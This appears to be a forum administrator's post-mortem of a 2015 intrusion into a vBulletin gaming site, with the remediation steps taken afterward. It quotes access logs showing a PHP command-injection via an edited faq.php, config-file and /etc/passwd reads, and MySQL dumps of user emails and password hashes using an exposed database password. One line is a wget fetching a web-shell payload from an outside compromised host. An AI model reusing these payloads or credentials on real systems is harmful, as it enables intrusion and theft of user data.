If you want to skip all the tech stuff and get to the bottom line, skip to the bottom of the post.
On Sunday March 22nd Stealth posted in Hex about some weird activity on two other admin accounts earlier that day. We have a couple of triggers that create a post in a special forum when certain actions are taken, and this tripped one of those triggers.
Apparently at about 1:30 PM Sunday Darth Red logged in from Holland (which is not where he lives btw), tried to change a bunch of stuff in the admincp but failed because 95% of the technical stuff is locked down to Squid and I. Administrators are given permission to edit forums and users and stuff like that, but not change any of the server settings. Most of them cannot even edit themes. After failing to get what he wanted on Darth's account he tried to access other admin accounts. My account and Squid's account are hardcoded from being changed, so he changed the password for Gigantus and logged in as him which gave him no additional access rights.
At that point he did edit the one thing he could edit that would allow him to get into the site structure, the FAQ page. There is a known exploit for vBulletin 3.8.6 (we use vBulletin 4.2.2) that will allow an attacker to read the config files for the site and gain database access information. So he edited faq.php back to the vBulletin 3 version, injected a couple of files, read the config files, and attempted to download userids, email addresses, and passwords for the entire site.
Here is basically the order in which this went down:
Logged in as Darth at 13:23
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:23:48 -0600] "POST /forums/login.php?do=login HTTP/1.1" 200 2334 "http://www.twcenter.net/forums/showgroups.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
At 13:26 tried to access the newsproxy.php which Darth does not have access to:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:26:12 -0600] "POST /forums/admincp/newsproxy.php HTTP/1.1" 200 3045
At 13:27 tried to access the plugins, which Darth does not have access to:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:27:01 -0600] "GET /forums/admincp/plugin.php HTTP/1.1" 200 2168 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
At 13:28 edited Gigantus's account, logged out then back in:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:27:36 -0600] "GET /forums/showgroups.php HTTP/1.1" 200 22567 "http://www.twcenter.net/forums/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"141.101.104.89 www.twcenter.net - [22/Mar/2015:13:28:06 -0600] "POST /forums/login.php?do=login HTTP/1.1" 200 2343
Here he is trying the vBulletin 3 faq.php exploit out highlighted in red:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:28:39 -0600] "GET /forums/faq.php HTTP/1.1" 200 12124 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:29:02 -0600] "GET /forums/faq.php?faq=vb3_board_faq HTTP/1.1" 200 12975 "http://www.twcenter.net/forums/faq.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:29:09 -0600] "GET /forums/faq.php?faq=vb3_reading_posting HTTP/1.1" 200 16559 "http://www.twcenter.net/forums/faq.php?faq=vb3_board_faq" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:29:13 -0600] "GET /forums/admincp/faq.php?faq=vb3_reading_posting HTTP/1.1" 200 2703
At 13:30 the faq.php page was edited by Darth Red's account. As you can see, there were lots of edits as he tried to get it right.
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:23 -0600] "POST /forums/admincp/faq.php?do=update HTTP/1.1" 200 2220 "http://www.twcenter.net/forums/admincp/faq.php?do=edit&faq=vb3_smilies" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:26 -0600] "GET /forums/admincp/faq.php?do=edit&faq=vb3_smilies HTTP/1.1" 200 5348 "http://www.twcenter.net/forums/admincp/faq.php?faq=vb3_reading_posting" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:31 -0600] "POST /forums/admincp/faq.php?do=update HTTP/1.1" 200 2089 "http://www.twcenter.net/forums/admincp/faq.php?do=edit&faq=vb3_smilies" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:33 -0600] "GET /forums/admincp/faq.php?faq=%20vb3_reading_posting HTTP/1.1" 200 2698 "http://www.twcenter.net/forums/admincp/faq.php?do=update" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:41 -0600] "GET /forums/faq.php?faq=vb3_reading_posting&c=echo%2099%3B HTTP/1.1" 200 159953 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:42 -0600] "GET /forums/faq.php?=SUHO8567F54-D428-14d2-A769-00DA302A5F18 HTTP/1.1" 200 2825 "http://www.twcenter.net/forums/faq.php?faq=vb3_reading_posting&c=echo%2099%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:42 -0600] "GET /forums/faq.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2536 "http://www.twcenter.net/forums/faq.php?faq=vb3_reading_posting&c=echo%2099%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:42 -0600] "GET /forums/faq.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2158 "http://www.twcenter.net/forums/faq.php?faq=vb3_reading_posting&c=echo%2099%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:31:43 -0600] "GET /forums/admincp/faq.php?do=edit&faq=vb3_smilies HTTP/1.1" 200 5360
At 13:33 his first attempt to read the config file for the site. This attempt failed:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:33:34 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3B&faq=vb3_reading_posting&x=cat%20includes%2Fconfig.php HTTP/1.1" 200 81719 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
At 13:35 he successfully read the config file, which gave him the database username and password, and he selected the totalwar_vb database on Thor which is the main database for the site:
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:35:16 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=cat%20includes%2Fconfig.php HTTP/1.1" 200 13545 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:36:04 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%22 HTTP/1.1" 200 79 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
At this point he started poking around other databases as well, though I do not think he was actually able to grab data which I will explain later. That Boonex database is a test I had running and just never killed, it had nothing in it but he was looking for premium member stuff. The database user and password are different on that database, so he couldn't get anything anyways though he did try.
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:36:22 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%3B%20use%20boonex%3B%20show%20tables%22 HTTP/1.1" 200 3431 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:37:57 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%3B%20use%20boonex%3B%20select%20*%20from%20RayChatMemberships%20limit%2010%22 HTTP/1.1" 200 79 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:38:13 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%3B%20use%20boonex%3B%20select%20*%20from%20RayBoardCurrentUsers%20%20limit%2010%22 HTTP/1.1" 200 79 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:38:31 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%3B%20use%20boonex%3B%20select%20*%20from%20RayChatCurrentUsers%20%20limit%2010%22 HTTP/1.1" 200 79 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:38:40 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22show%20databases%3B%20use%20boonex%3B%20select%20*%20from%20sys_sbs_users%20%20limit%2010%22 HTTP/1.1" 200 79 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
There are several entries like this one where he tried to pull userid, username, email, password, and salt from the users table. Now remember he is running this through a php script, and there are limits on the resources a php script can consume. Processes on the server are limited to 128 megs of RAM per script and a 30 second timeout. There is no way in hell this request fits inside those parameters, so he just got a 500 error.
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:41:12 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22use%20totalwar_vb%3B%20select%20concat(userid%2C0x3b%2Cusername%2C0x3b%2Cemail%2C0x3a%2Cpassword%2C0x
After dicking around for 20 minutes trying to dump all the users, he set a limit to try and pull the first 10 users. This makes sense, generally the person with the highest level access is userid 1 which is created when the software is installed, and he wants access to an admin account that can do everything. In the case of TWC the people with the most access are myself and Squid and both of our userids are above 22,000. So even if he was able to pull the information for the first 10 users, it doesn't do him any good.
141.101.104.89 www.twcenter.net - [22/Mar/2015:13:41:12 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22use%20totalwar_vb%3B%20select%20concat(userid%2C0x3b%2Cusername%2C0x3b%2Cemail%2C0x3a%2Cpassword%2C0x3a%2Csalt)%20from%20user%20limit%2010%22 HTTP/1.1" 200 810 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
So now instead of trying to pull the whole thing at once, he attempts to dump small pieces at a time into a text file he created on the server named 1.txt so he can just copy the text file later:
141.101.104.89 www.twcenter.net - [22/Mar/2015:14:18:48 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-h%20thor%20-u%20totalwar_vb%20-pthEphA9U93ec%20-e%20%22use%20totalwar_vb%3B%20select%20concat(userid%2C0x3b%2Cusername%2C0x3b%2Cemail%2C0x3a%2Cpassword%2C0x3a%2Csalt)%20from%20user%20%22%20%3E%20%2Fvar%2Fwww%2Fforums%2Fimages%2F1.txt HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
Here you can see several attempts to read that text file. Actually he is checking the file size of that file by executing this command that you can see if you strip out the html formatting:
Code:ls -lah /var/www/forums/images/1.txt141.101.104.89 www.twcenter.net - [22/Mar/2015:14:18:58 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=ls%20-la%20%2Fvar%2Fwww%2Fforums%2Fimages%2F1.txt HTTP/1.1" 200 92 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:14:19:03 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=ls%20-lah%20%2Fvar%2Fwww%2Fforums%2Fimages%2F1.txt HTTP/1.1" 200 87 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
141.101.104.89 www.twcenter.net - [22/Mar/2015:14:19:11 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=ls%20-lah%20%2Fvar%2Fwww%2Fforums%2Fimages%2F1.txt HTTP/1.1" 200 87 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
I am assuming the file size on that was 0 bytes because he didn't open it, he just deleted it. He checked the size and ownership of it several times just before running this command:
Code:rm var/www/forums/images/1.txt141.101.104.89 www.twcenter.net - [22/Mar/2015:14:22:03 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=rm%20%2Fvar%2Fwww%2Fforums%2Fimages%2F1.txt HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
Here he tries to login directly to MySQL, this translates to:
Code:mysql -u root -p rootHe wouldn't need to do this if he had gotten the information he was looking for with the above queries, and I can promise you that our root password for MySQL is not "root".141.101.104.89 www.twcenter.net - [22/Mar/2015:14:25:35 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=mysql%20-u%20root%20-proot%20-e%20%22show%20databases%22 HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
That doesn't work for him, so he tries to use the cat command on the passwd file for the server. Now this file doesn't have actual passwords in it, its just a list of users and what their access rights are. He wants this so he can try to login to the server directly.
Code:cat /etc/passwdHe is not able to login to the server directly for two reasons:141.101.104.89 www.twcenter.net - [22/Mar/2015:14:25:47 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=cat%20%2Fetc%2Fpasswd HTTP/1.1" 200 1884 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
1. He doesn't even know the servers IP address. We are hidden behind CloudFlare. There isn't even a log of the attempt.
2. If he did make it that far, we do not use password authentication. We use encrypted ssh keypairs and there are only 4 authorized keys for out entire network.
So its time to try another approach. He cannot access the database directly, the port for MySQL is not open to the public its only open on our internal network, and the server he has access to does not actually have the database on it. He has been forced to try and use a php script to pull data from a remote database on thor and is running into the php limits, and limiting his queries to fit within those limits hasn't gotten him what he needs. He hasn't been able to access the server via information in the etc/passwd file.
Here he uploads a file from a site running a 2012 of WordPress that had already been compromised. This loads a php file into the site images folder that attempts to run a root level access server shell via script so he can gain complete control over the server without having to go through the conventional login methods.
This little script created a file named lndex.php which is a php decoder to decode the base64 code he compiled on that WordPress site to try and execute a shell on our server.141.101.104.89 www.twcenter.net - [22/Mar/2015:14:45:18 -0600] "GET /forums/faq.php?c=system(%24_GET%5B%27x%27%5D)%3Bdie()%3B&faq=vb3_reading_posting&x=wget%20-O%20%2Fvar%2Fwww%2Fforums%2Fimages%2Frating%2Frating-trans-15_2.php%20http%3A%2F%2Fwww.waldgeist.org%2Fwp-content%2Fplugins%2F1.txt HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"
Two minutes after he executes this, he edits faq.php back to its original state to try and cover his tracks and leaves the site. About 5 hours later Stealth noticed the activity when he logged in and created a post about it in Hex. I saw it at about 2 AM Monday morning and locked out Darth and Gig until I could sort a few things out.
Squid and I (mostly Squid) have been digging through stuff all week. At first we were not sure what the exploit was and how he got inside in the first place. This is why all plugins are currently disabled. Generally speaking plugins are exploited more often than the main software package is. We have permanently removed a few non-essential plugins and the rest will stay disabled until we sort out a couple more things.
1. We need to verify every single file on the site. The easiest way to do this is to reinstall vanilla files freshly downloaded from vBulletin. We actually needed to do this anyways because I upgraded the site license for the CMS package we are going to install.
2. We need to reset all of the FAQ pages to vanilla content so we can make sure there wasn't anything left behind. For now the FAQ page link has been removed from the site and is behind a login screen so that it cannot be accessed directly. This is the vBulletin FAQ not the FAQ on the wiki.
When those two things are done we will start enabling other features again.
To help prevent this kind of thing in the future we have taken a few steps.
1. The admincp is no longer called the admincp and is behind another login screen. This means that to get to the admincp you actually have to know exactly where it is and then login twice, once from a hardcoded file that is not stored anywhere within the web files for the site so is not visible from the outside, and once with your normal vBulletin login. The usernames and passwords for that first login are not our normal forum names and will never be posted or PMed on the site. That information will only be sent via email address between admins.
2. The faq.php page can no longer be edited by administrators. Only by myself and Squid. We don't change it that often anyways so its not a huge problem. I may do the same thing with the Calendar since we hardly ever use it.
3. I reviewed the permissions of every person on the site that has access to the admincp and removed access from some inactive Tech Staff members. They still have access to the tech forums and if they become active again I will allow limited access to the admincp.
4. I have changed the hardcoded users that cannot be edited in the admincp to help prevent us from being locked out if someone does manage to get past everything else. There are a few others besides myself and Squid that can only be edited if you have root level server access. I am not naming them in public.
5. We will be reviewing the need for every single plugin on the site. This will take some time.
The bottom line here is that the site was breached, but I do not think it was a serious breach. Every member of the site should go ahead and change their password just in case but I am not hugely concerned. vBulletin passwords are not stored in clear text, they are hashed and if its reasonably complex then it would take days just to brute force a single password and generate a match. vBulletin does use MD5 encryption which isn't as good as SHA encryption (changing that would be a HUGE task, one that vBulletin needs to take on) and its not like we have a bunch of sensitive information here. There are no credit cards, no financial records, no real names and addresses, etc. The worst they could do is steal your email address and then trash the site.
Apologies for the inconvenience.
EDIT: The one thing we are not clear about here is how Darth's account was compromised that started this whole thing off. It could be malware local on his machine, or someone packet sniffing his network, or any number of other things. An internet café, public wifi someplace. Its hard to tell.